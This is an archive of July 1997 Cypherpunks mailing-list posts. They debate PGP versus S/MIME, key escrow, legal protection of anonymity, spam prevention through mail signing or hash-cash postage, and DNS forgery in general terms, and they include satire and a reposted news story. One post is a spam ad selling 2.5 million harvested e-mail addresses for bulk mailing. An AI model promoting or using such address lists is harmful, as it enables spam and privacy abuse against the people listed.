>> Verisign class three verification.  I've continually said that the biggest
>> problem with secure authentication is that secure authentication is not
>> possible.

>I don't think thats a reasonable assertion at all. PGP is positing that
>they have an online identification technique. Verisign are asserting they
>have performed a particular identification process and suggest that it is

>sufficient for a particular purpose:

>http://www.verisign.com/pr/pr_idfct.htm
>Class 3 Digital IDs 

>     Require personal presence or registered credentials

>     Used for e-banking, large-sum transactions and contract execution

>     Cost: $24/year for individuals, $290/year for entities/web servers
>($75 per
>     year renewal) 


>If you are a bank or company that needs to depend on an identity inthis
>circumastance the critical point is that you have a standardized level of
>security. 

>In electronic commerce it is rarely the case that one needs to reduce 
>risk to zero. The question is whether you can quantify the risk you are
>exposed to. Whether you can insure it.


>> I hate to see people doing such things with keyservers and keys, but we all
>> knew the problem existed.  I wonder where the solution is.

>The solution is to put trust attributes in the certificates. If you do an
>email callback you state that that is the identification  process you
>used in the cert.

>Two years back it would make sense to upgrade PGP certs to work in this
>way. At this point however X.509v3 has become the standard, the most
>commonly available form of email encryption is S/MIME which is built into
>the default operating system from next year and comes with Communicator. 

>X509v3 may not be perfect but its there, it works and you can carry  the
>same information and construct the same trust relationships that PGP
>supports. You can also construct other relationships. Looking at the
>practice of using X509v3 with Outlook Express I found that the  actual
>mechanics of use were remarkably similar to PGP except that it was easy
>to add in an entire trust domain such as my employer.

>At this point I'm somewhat skeptical that a single vendor proprietary
>solution should receive unquestioned support from cypherpunks on the
>basis of history alone. The question is how to put cryptography on every
>desk top on the planet. Bill Gates is a better aly in that fight than
>Phil Z. 


>I think its rather silly for people to start complaining on this  list
>about the bad, bad, hackers. If we could trust people to be good we would
>not need certificates or computer security at all. Making unspecified and
>unsupported allegations against competitors  seems to me to be a very bad
>idea indeed.


Phil what can I say except this is just BULL!

Last time I looked the S/MIME & X509 v3 specs were not in a finished
state.

What I have seen of the specs I do not like. The sepcs are overly complex
and fail to offer any added security over what can be obtained using PGP.

Then we have GAK directly referenced and supported in the specs:

>5.1 Binding Names and Keys

>An S/MIME agent or some related administrative utility or function MUST
>be capable of generating a certification request given a user's public
>key and associated name information. In most cases, the user's public
>key/private key pair will be generated simultaneously. However, there
>are cases where the keying information may be generated by an external
>process (such as when a key pair is generated on a cryptographic token
>or by a "key recovery" service).
 
Now lets add to this Netscapes support of weak crypto & their
implementation of "policy tokens".

Are these really the people you wish to trust with the future of crypto??
Are you willing to condem the world to Win95 & Communicator (2 of the
bigest peices of crap I have ever seen passed of as comercial software).

Phil Zimmerman has done more for putting STRONG crypto on every desktop
than M$,N$,R$A or the rest ever have or ever will.

Make no mistakes about it, our goal should be to put STRONG crypto on
every desktop not just any weak peice of crap available. Weak crypto is
worse than no crypto at all.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM7wJcY9Co1n+aLhhAQHL5AP+LHUhm9qzChoPIfZt3mClFCpk41Byx95D
0o/jxHBgyr1b4Xu96BiZXkNYn5Z/B7pXCyp8j5JU1nHs3een/n+Bg2V3gxZHK5hf
dhAGyetvDHq1h9sxXtWi/3kVctJQN0dGH7TT7RRA46pG0CfIdn2LX/DbnI04COcf
f3Xp+dve8wY=
=PS/R
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: hedges@infonex.com
Date: Fri, 4 Jul 1997 06:46:04 +0800
To: cypherpunks@toad.com
Subject: Re: Jeff's Side of the Story.
In-Reply-To: <5pbnoe$f29$1@re.hotwired.com>
Message-ID: <199707032233.PAA05206@rigel.cyberpass.net>
MIME-Version: 1.0
Content-Type: text/plain



Jeff wrote at some unknown date and time:
> The right to anonymity in the US will be legislated away within 18 months, 
> partially because of spam.  I do hope there's a _good_ test case waiting,
> and someone willing to fight it to the end, but I have my doubts.  Ultimately
> the remailer network will be forced to move offshore, the way Crypto 
> development currently has.

I'm not sure this is true, Jeff. As we saw with the CDA, what the
legislature and executives may do under the gun of popular opinion
and funding pressure is not always constitutional. There are
precedents for anonymity, from the time when the Federalist Papers
were published anonymously to now. If you like examine Talley v.
California and McIntyre v. Ohio Campaign Commission, both cases
in which the Supreme Court of the United States upheld the right
to anonymity. As you may know an injunction was issued against the
Georgia (U.S.) State against their anti-anonymity law.

I neglected to post the URL's in the newsgroups: www.epic.org/free_speech/.

>From the legal precedents it does not appear the right to anonymity
is in any immediate jeopardy, though fire-consumed politicians may
push bill after bill into the courts to push personal culpability
for transmission of information. Eventually, with enough case precedent
blocking them every time, legislature will learn that it is futile
to pass an anti-anonymity law, regardless of whether the individual
legislators think it is right or wrong.

The real danger is what you encountered---self styled vigilante
enforcers of narrow-minded selfish pride---people who just can't
stand to be told that they're losers, whether they are or not.
Public defamation using anonymity is an interesting issue, and
one I'm not prepared to take a stand on. Does anyone have commentary?

Mark Hedges
"First you learn you can only know nothing,
 then you learn that everything is just a good idea."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 3 Jul 1997 21:50:24 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Degaussing
Message-ID: <199707031337.PAA08887@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



> That reminds me...  I have some old drives I need to take down to the
> shooting range.  (I want to make them an example to the other drives...)
> 
> Sounds like a Cypherpunk project to me. ]:>


Unerased data is a cancer!

Only 50 Megatons of nuclear disinfectant can cure it!

Lock and load!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Thu, 3 Jul 1997 18:25:41 +0800
Subject: Re: PGP security problems?
In-Reply-To: <199707030557.XAA20987@wombat.sk.sympatico.ca>
Message-ID: <Pine.LNX.3.93.970703155644.837A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 3 Jul 1997, Philip R. Zimmerman wrote:

[...]

>  It is inevitable that some gullible fools will be taken in by
> the forgeries, 

[Claps]  Very very cleaver,  you almost got me there.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yukky' a convinceing argument  






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jay0070@ix.netcom.com
Date: Fri, 4 Jul 1997 05:33:59 +0800
To: cypherpunks@Algebra.COM
Subject: MASS E-MAIL
Message-ID: <RAF1.1_7/3/97 5:19:07 PM_cypherpunks@algebra.com>
MIME-Version: 1.0
Content-Type: text/plain




Do you have information you want to distribute to thousands of people, or a product you want to offer to a lot of people quickly?

Look no more.

I will send you electronically 2,500,000 E-mail addresses.  That is 2.5 MILLION!!!!!!!!!!!

You can cut and paste the addresses to your mail server and save them for later.  
Just write up what you want to say, click send, and within minutes you will reach 1000000's of people.

For  $20   I will give you 2.5 million addresses for you to use to market your product or service cost efficiently, and directions on how to do it.

send your E-mail address and $$ to:              Mr. Hammond
                                                                                     P.O. Box 8022
                                                                                     Burlington, VT 05401

I update the addresses monthly...SATISFACTION GUARANTEED





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Fri, 4 Jul 1997 11:23:21 +0800
To: Tom Allard <m1tca00@FRB.GOV>
Subject: Re: Jeff's Side of the Story.
In-Reply-To: <199707031416.KAA11262@bksmp2.FRB.GOV>
Message-ID: <Pine.LNX.3.96.970703164312.1843B-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 3 Jul 1997, Tom Allard wrote:

> > Please see http://www.netscum.net/burnorg0.html for more info.
> 
> whois netscum.net
> [...]
> 
>    NS7.CYBERPROMO.COM           205.199.2.250
>    NS9.CYBERPROMO.COM           207.124.161.50
>    NS8.CYBERPROMO.COM           207.124.161.65
>    NS5.CYBERPROMO.COM           205.199.212.50
> 
> 
> The InterNIC Registration Services Host contains ONLY Internet Information
> (Networks, ASN's, Domains, and POC's).
> Please use the whois server at nic.ddn.mil for MILNET Information.

It makes sense that the Net.Scum pages would be hosted by Cyperpromotions
since every other ISP that hosted the web pages were threatened with
libel suits.  As I understand it, Cyberpromo's web hosting services
are separate from their junk email services.  Cyberpromotions gets so
many legal threats that a few more don't make a large difference.  This
was also the reason why an anonymous poster suggested Cyberpromo as a
possible remailer-friendly ISP.



Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBM7wQZizIPc7jvyFpAQF98Qf9FF3nD92h+EFZ1A6UgZsWHW5QI8KEUZMJ
PPaZpZxQvOOVWCKHhzKZzzEk6Fdm9RXe8rTTCbL+tfUyYHwxYtI0iAEXL4EYsvyq
+iBfP1m4Lzp6STkyrVO16UOaTJsWFTFF/g8msXYA/mlpORhPPJoewMgYKxKRYmVE
tTAdk3w1/LTbQ6CZ951rbqi8XZTaMcZPHKkZt5A/TuNeTxLZqbv2jLrI2faDoW38
yZL+uyGYZ5dcBY7GEHQm96BKOldVbs0ausxJQUr+Sto/7WZKtyCIc0YGzKtCFhW0
TT1B4qKeAfVEmV4MUm8ZeePztoFfLiUd8+8tLarYb9/n1B/p70D9XQ==
=4eWZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 4 Jul 1997 00:41:34 +0800
To: cypherpunks@cyberpass.net
Subject: ISP signatures on outgoing mail
Message-ID: <199707031614.SAA27700@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Anyone heard of a proposal for ISPs to automatically sign outgoing
mail headers?  Problem has been that spammers send email by one
path but forge a reply-to or from address at another location.  Most
recent case is hotmail, which got blocked by netcom over a spam attack.
Actually mail didn't come from hotmail, was forged to look like it came
from there.  Same thing has happened to remailers.

They need a standard for which headers to sign, then a dig sig can be
included in the headers to check that a message came from where it
claims.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Fri, 4 Jul 1997 08:21:54 +0800
To: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Subject: Re: ISP signatures on outgoing mail
In-Reply-To: <Pine.LNX.3.93.970704052155.215A-100000@shirley>
Message-ID: <Pine.GSO.3.95.970703200946.1200A-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 4 Jul 1997, ? the Platypus {aka David Formosa} wrote:

> There is now meany patchers to avoid mail relaying like this.  Good ISP's
> don't let mail to go from an outside site to anoughter outside site.
> 
> >  (identical to how the ISPs customers drop off mail)
> 
> No its diffrent ISP's customers move from the inside to the outside.

Well, with current technology, it's not too difficult to forge DNS
entries, and I imagine you could forge enough entires to confuse a reverse
DNS lookup.  But this is really a different issue and I think the most
recent version of Bind fixes some of these problems..

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Fri, 4 Jul 1997 11:42:05 +0800
To: Ryan Anderson <randerso@ece.eng.wayne.edu>
Subject: Re: ISP signatures on outgoing mail
In-Reply-To: <Pine.GSO.3.95.970703200946.1200A-100000@ece>
Message-ID: <Pine.LNX.3.96.970703223208.3327B-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 3 Jul 1997, Ryan Anderson wrote:

> On Fri, 4 Jul 1997, ? the Platypus {aka David Formosa} wrote:
> 
> > There is now meany patchers to avoid mail relaying like this.  Good ISP's
> > don't let mail to go from an outside site to anoughter outside site.
> > 
> > >  (identical to how the ISPs customers drop off mail)
> > 
> > No its diffrent ISP's customers move from the inside to the outside.
> 
> Well, with current technology, it's not too difficult to forge DNS
> entries, and I imagine you could forge enough entires to confuse a reverse
> DNS lookup.  But this is really a different issue and I think the most
> recent version of Bind fixes some of these problems..

It would be possible to configure sendmail to only deliver a message that
has an authorized host in the "MAIL FROM" and "RCPT TO" commands.  This
could possibly be defeated by forging DNS entries in the ISP's nameserver,
but that's more than most spammers would probably want to risk.

> 
> -----------------------------------------------------------------------
> Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
> Wayne State University - CULMA   "May you live in interesting times.."
> randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
> PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
> -----------------------------------------------------------------------
> 
> 


Mark
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cypherpunks@Algebra.COM
Date: Fri, 4 Jul 1997 19:48:11 +0800
To: <cypherpunks@Algebra.COM>
Subject: http://hipcrime.home.ml.org
Message-ID: <199707041140.EAA15235@norway.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain



This is NOT a commercial message.  Thanks.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Fri, 4 Jul 1997 07:42:12 +0800
To: Ryan Anderson <randerso@ece.eng.wayne.edu>
Subject: Re: ISP signatures on outgoing mail
In-Reply-To: <Pine.GSO.3.95.970703150410.29801G-100000@ece>
Message-ID: <Pine.LNX.3.93.970704052155.215A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 3 Jul 1997, Ryan Anderson wrote:

[...]

> this doesn't seem to help solve the problem very much.  The way SMTP works
> right now, spammers can frequently just connect to somebodies SMTP server,
> drop off a load of e-mail, and let their server handle it.

There is now meany patchers to avoid mail relaying like this.  Good ISP's
don't let mail to go from an outside site to anoughter outside site.

>  (identical to how the ISPs customers drop off mail)

No its diffrent ISP's customers move from the inside to the outside.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yukky' a convinceing argument  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 4 Jul 1997 21:44:20 +0800
To: cypherpunks@toad.com
Subject: SET and dual use
Message-ID: <v03020902afe295759594@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: ptharrison <ptharrison@delphi.com>
MIME-version: 1.0
Precedence: Bulk
Date:  Thu, 03 Jul 1997 23:01:00 -0400
From: ptharrison <ptharrison@delphi.com>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject:  SET and dual use

-----BEGIN PGP SIGNED MESSAGE-----

The Worldwide Conspiracy of International Bankers is now engaged
in an unprecedented attack on the Nation State.  Last month, a
so-called consortium of very large banks and their lackies the
branded credit card companies issued a detailed plan to put
strong cryptography into the hands of every statistically
creditworthy human being on the planet.  In issuing the Secure
Electronic Transaction (SET) protocol, this cabal of
transnational, stateless seekers of interest income and
acquisition discounts have detailed a plan by which every
merchant which accepts credit cards, every institution which
issues them, and incredibly every individual who posesses them
would be able to register and share public keys.  Going far
beyond the puny efforts of the "cypherpunks" who established
primitive pretty good privacy key servers and built a web of
trust over the past several years, the International Banking
Conspiracy is attempting to set up a gargantuan web of
certificate authorities to support individuals and corporations
in the publication of their cryptographic identities.

The unpatriotic stools of this conspiracy within our own US
government are expected to legitimize this unholy plan by
permitting the wholesale export of SET-related products under
the guise that SET is purely a financial transaction processing
system.  However, over time it will become clear that this was
the beginning of the end.

The SET co-conspirators have made it abundantly clear in their
specification that the financial security and viability of their
entire initiative relies on the absolute privacy of each
individual's personal keys.  This explicit rejection of the
sharing of keys effectively rules out key escrow schemes for
SET.

After an unprecedented global training excercise, in which the
Banking Conspiracy will inculcate the imperative that private
keys must NEVER be shared with anyone (or else your credit cards
will be cancelled or your merchant status revoked), and after
worldwide rollout of products intended to allow secret
communications over any network connection including the
backbone internet, the public telephone system, radio channels,
through corporate and national firewalls, and even by "carrier
pigeon" the "consortium" will exend the SET protocol to allow
the sending of so-called EDI messages (communications which can
be effectively on any topic between any two parties)
over the established global secret network.  An age of secure
private communications will be ushered in.

And then...separate SET-protocol webs will be established where
the "CAs", "merchants" and "cardholders" are simply pseudonyms
for...revolutionary forces intent on trafficing in guns,
laundering money and replacing world governments with child
pornographers, drugs lords and terrorists.  Seemingly innocent
browser software installed everywhere will become the tool of
evildoers to invisibly conduct their own global conspiracies.
Only then, too late, will the Banking Conspiracy realize that
they no longer control the planet and that in true Hegelian
fashion their great idea contained the seeds of its own
destruction.

Don't say I didn't warn you!
-----BEGIN PGP SIGNATURE-----
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WKdfqrG3r5g=
=zdfI
-----END PGP SIGNATURE-----

----------
The e$ lists are brought to you by:

Intertrader Ltd:                "Digital Money Online"
<http://www.intertrader.com/library/DigitalMoneyOnline>

Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info@hyperion.co.uk

Like e$? Help pay for it! <http://www.shipwright.com/beg.html>
For e$/e$pam sponsorship, mail Bob: <mailto:rah@shipwright.com>

Thanks to the e$ e$lves:
Of Counsel: Vinnie Moscaritolo <mailto:vinnie@webstuff.apple.com>
(Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com>
Commermeister: Anthony Templer <mailto:anthony@atanda.com>
Interturge: Rodney Thayer <mailto:rodney@sabletech.com>




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 4 Jul 1997 21:44:01 +0800
To: cypherpunks@ssz.com
Subject: index.html
Message-ID: <199707041320.IAA15627@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   News 
   
   Destination Mars: Special Section 
   
   3700 hotels worldwide- click here for immediate on-line reservations 
   
   Search and Feedback NEWS
   
Passenger dragged half-naked from plane lavatory sues

    lavatory lawsuit graphic July 3, 1997
   Web posted at: 5:07 p.m. EDT (2107 GMT)
   
   NEW YORK (AP) -- Caught with his pants down on a trans-Atlanticflight,
   a New York businessman insists he is innocent.
   
    Raviv Laor says he was dragged from the bathroom of an AirFrance
   plane with his trousers around his ankles and toilet paperin his hand
   because a flight attendant wrongly thought he wassneaking a smoke.
   
    Laor, who says a malfunctioning smoke alarm went off, is suingthe
   airline for $12 million for his humiliation. He says he went tocourt
   after failing to get an apology or even a reply from theairline.
   
    Air France said Thursday that it was reviewing Laor's allegationsand
   would "respond in due course in the appropriate forum" afterconducting
   its own investigation.
   
  'The depth of my embarrassment I cannot begin to describe'
  
   
   
    The lawsuit, filed last month in Manhattan Supreme Court,asserts that
   20 minutes into a flight from Paris to Newark Airporton May 19, crew
   members broke into the locked lavatory andassaulted Laor.
   
   "The crew members then, while Laor was naked from the waistdown,
   dragged him outside the lavatory, exposing his genitals andother body
   parts to many seated passengers, both female and male,"the lawsuit
   said.
   
    "I was terrified," said Laor, 28, who owns a computer
   servicescompany. "My first reaction was 'My God, something must
   havehappened to the plane.'"
   
    "The depth of my embarrassment I cannot begin to describe," hesaid.
   
    Laor says he neither smokes nor drinks, and had opted for anonsmoking
   flight.
   
    He said his protestations were answered with a threat that hewould be
   arrested for arguing with the crew.
   
    The flight purser "told me I did not have the right to expectprivacy"
   and complained that Americans were "always screamingabout their
   rights," Laor said.
   
    "An official apology from Air France would have made adifference, but
   now too much time has elapsed," Laor says.
   
   Copyright 1997 Associated Press. All rights reserved. This material
   may not be published, broadcast, rewritten, or redistributed. rule
   Note: Pages will open in a new browser window.
   
  Related story:
  
   
     * Flight attendant secondhand smoke trial under way - June 2, 1997
       
  Related site:
  
   
     * Air France
       
   
   To Top 
   
   (c) 1997 Cable News Network, Inc.
   All Rights Reserved.
   
        Terms under which this service is provided to you.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 4 Jul 1997 21:43:37 +0800
To: mac-crypto@thumper.vmeng.com
Subject: Re: Clinton nixes domestic encryption right
Message-ID: <v03020909afe29bfd1e58@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Sender: tbell@cato.org
Mime-Version: 1.0
Date:         Thu, 3 Jul 1997 17:10:46 -0400
Reply-To:     Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
Sender:       Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
From:         "Tom W. Bell" <tbell@CATO.ORG>
Subject:      Re: Clinton nixes domestic encryption right
To:           CYBERIA-L@LISTSERV.AOL.COM

Phill writes:

>Stuart Baker claims that Gore is the main administration supporter of GAK.
>But others have claimed the exact opposite. I suspect that if Gore really
>supported the GAK idea he would do so publically and explicitly, its a vote
>winner.

For what it's worth, I had dinner Monday with two people from Gore's office
and one of Microsoft's officers.  The Gore people consistently demanded
mandatory key escrow, though they seemed willing to allow private parties to
do the job so long as GAK remained an option.  The Microsoft person only
went so far as to offer to always make key escrow a *feature*, arguing that
this would in practice get the administration all the GAK it wants because
almost everyone would want to escrow their private keys.

The debate unfolded something like this:

Gore people:  "People using really strong encryption will *want* to escrow
their keys.  Otherwise, lost keys will result in irretrievably lost data."

MS person:  "Oh, sure--especially commerical players.  But you underestimate
the amount of resistance *mandated* escrowing will create.  People want to
*choose* to escrow.  If you let them, they will."

Gore people:  "Well, if they're going to escrow anyhow, what's the problem
with mandating it?"

MS person:  "You don't get it.  Our customers care deeply about their
encryption rights, and we want happy customers.  If the administration will
just back off, it will get what it wants--or, at least, as much as it can at
any rate expect."

It presented a classic case of cultural conflict--in this case, political
cultural confronting commercial culture.

Tom W. Bell
-----------
tbell@cato.org
Director, Telecommunications and Technology Studies
The Cato Institute

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 5 Jul 1997 01:49:15 +0800
To: cypherpunks@cyberpass.net
Subject: Re: ISP signatures on outgoing mail
In-Reply-To: <199707031614.SAA27700@basement.replay.com>
Message-ID: <3.0.2.32.19970704104000.006ba75c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:14 PM 7/3/97 +0200, Anonymous wrote:
>Anyone heard of a proposal for ISPs to automatically sign outgoing
>mail headers?  Problem has been that spammers send email by one
>path but forge a reply-to or from address at another location.  

Flat-out can't work.  The problem is that you can send
SMTP directly from your machine to its destination,
so the ISP only routes the IP packets and doesn't read them.
It's popular for mail clients like Eudora and Netscape to
send all their mail to an SMTP forwarder, but the main
reasons to do that are to move the complicated work
to a machine that's on line all the time and smart enough
to deal with problems like retrying mail to systems that
don't answer, generating meaningful error messages when
the destination can't accept the mail, forwarding to
systems off in uucp-space, etc.  So it's perfectly
reasonable for mail from joeuser@aol.com to originate
on Joe's PC, with no way for AOL to sign it.
There's also the problem of misconfigured Win95 machines,
where either the operating system or the operator
aren't bright enough to send the correct machine name.
For instance, this mail comes from ca07b8bl.bns.att.com,
as any system that records the HELO messages will tell you,
because when my laptop is at work, that's it's name on the LAN.
Netcom's SMTP forwarder only identifies it by IP and DNS
pax-ca8-10.ix.netcom.com(204.30.66.74) address of the
dialup port it connected to, though other servers I've
used have also passed along, or at least recorded, the ca07b8bl.

Digital signatures take a lot of calculation,
and while CPUs keep getting cheaper, mail volume keeps getting larger.
It's difficult to make server-based signing scale well, especially for the
bigger ISPs.  Netcom's farm of mail servers is large and slow enough already.
You could try to force the user to sign the mail, 
using a signature certified by the ISP, and only forward email 
that's from or to your subscribers - but checking signatures still
requires about as much calculation, and the cheaper approach of 
looking at the signature key without really checking the signature
is easily forged.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cypherpunks <cypherpunks@toad.com>
Date: Sat, 5 Jul 1997 02:51:52 +0800
To: Moreno Daltin <md546178@silab.dsi.unimi.it>
Subject: Welcome to Cypherpunks! / Re: hi
In-Reply-To: <199707041205.OAA16771@tic.silab.dsi.unimi.it>
Message-ID: <33BD3E9C.1A3B@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Moreno Daltin wrote:
> hi everybody !

                       Welcome to the
                  Cypherpunks Mailing List (TcM)
                  ------------------------

  Your initial post to the list has been digitally classified by the 
Cypherpunks Automated Response system in order to determine the initial
level of reputation capital you will be awarded as a new member of the
Cypherpunks Mailing List (TcM).

Your initial entry level on the Cypherpunks Mailing List (TcM) will be:
               *** Level 2 ***
                    MORON
               *** Level 2 ***
  Level 2 is the lowest entry level available. From Level 2, you may
move up to other levels, at which the pinnacle is Cypherpunk Elite, or
down to Level 1, which each member of the Cypherpunks Mailing List (TcM)
has his or her own pet name for.
  Your reputation capital is increased or decreased according to the
quality and frequency of your posts. (Please note that, as is the case
with one's private parts, bigger is not necessarily better.)

         _______________________
         Warning & Disclaimer!!!
         -----------------------
The "Cypherpunks Mailing List (TcM) Level Classification System" (TM)
is based on the "Snow Anarchistic Rating System"...the "Paul Bradley
MiniAnarchist Rating System"...ad infinitum...since it is a random,
daily changing composite of the rating systems of each individual
Cypherpunk.
Thus, once again, the higher levels are not necessarily better and you
may be subject to support and praise, or attack and condemnation, no
matter what the content or quality of your posts. The source of your
support on the list, or the attacks against you, may change from time
to time depending on which list member is having a "Bad Algorithm Day."

Also be advised that due to the highly technical nature of some of the
mathematical concepts addressed on the list, it is possible to move
beyond Level 0 (Flame Ony/No Content) and into negative levels of
reputation capital such as Level -1 (where your Doppleganger sends
10 copies of your own posts back to you).
At Reputation Capital levels below -1, you may be subjected to shame,
humiliation and filtering to the point where the only hope for your
posts being read is for you to post to the list anonymously, as a
"Monger" of one sort or another.

In conclusion, "Welcome to the list, _MORON_!"
 
----------------------------------------------------------------------
Personal Note to Level 2 Entrants from Tim C. May, Philosopher King:
  "Welcome to the Cypherpunks Mailing List (TcM).
  "If you check the archives, you will find that I said "hi" to the
list back in 1992. In the future, please give me proper credit for the
quote when saying "hi" to the list."
----------------------------------------------------------------------
Personal Note to Level 2 Entrants from Dr. Dimitri Vulis, KOTM:
  "When sending ASCII Art slams against Timmy C. Mayo to the list, it
is not necessary to give me proper credit, as I will be given full
credit for it automatically, anyway.
----------------------------------------------------------------------
Personal Note to Level 2 Entrants from Robert Hettinga, e$Czar:
  "Don't bother giving me credit for my quotes. Nobody else does, and
I'm used to blowing my own horn, anyway."
----------------------------------------------------------------------
*** "Cypherpunks Mailing List" is a (Trade{cocksucker}Mark) of the
Electronic Forgery Foundation, and any abuse of this (TcM) will be
considered normal behavior on this list. ***






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 5 Jul 1997 02:01:12 +0800
To: cypherpunks@toad.com
Subject: e$: $MTP?
Message-ID: <v03020916afe2dea80083@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: Robert Hettinga <rah@shipwright.com>
Mime-Version: 1.0
Precedence: Bulk
Date:  Fri, 4 Jul 1997 09:21:12 -0400
From: Robert Hettinga <rah@shipwright.com>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject:  e$: $MTP?

They've been talking on cypherpunks about various ideas for authenticating
the sender of mail, and it brings up something I've been increasing my
agit-prop efforts on lately.

Unfortunately, the ultimate way for any e-mail authentication scheme to
work is for the *whole* message to be signed, headers and all, and then for
the sending SMTP server to sign the message passes it on, headers and all,
and so forth. The consequences of this approach, in terms of machine
resources, not to mention privacy (plus or minus how close you can get to
perfect pseudonymity), will probably be excessive.

The solution, here, I think, is economic, since this is, at root, an
economic problem. It's also one we've talked about here at length on e$.
That solution is postage.

If you use some kind of hash-collision microcoin protocol like
Rivest/Shamir's MicroMint, or the "hash-cash" stuff people have been
talking about on cypherpunks, you end up with a completely off-line,
extremely small value digital cash system which could be used to pay for
stuff like e-mail postage. The only thing you need to do is to encrypt the
payment to the $MTP (:-)) machine, which then sends your mail. The only
overhead is in handling the money, and, since it's handled offline anyway,
the overhead is going to be much less than authenticating signatures either
with an internal table, or, worse, in an on-line scheme of some kind.

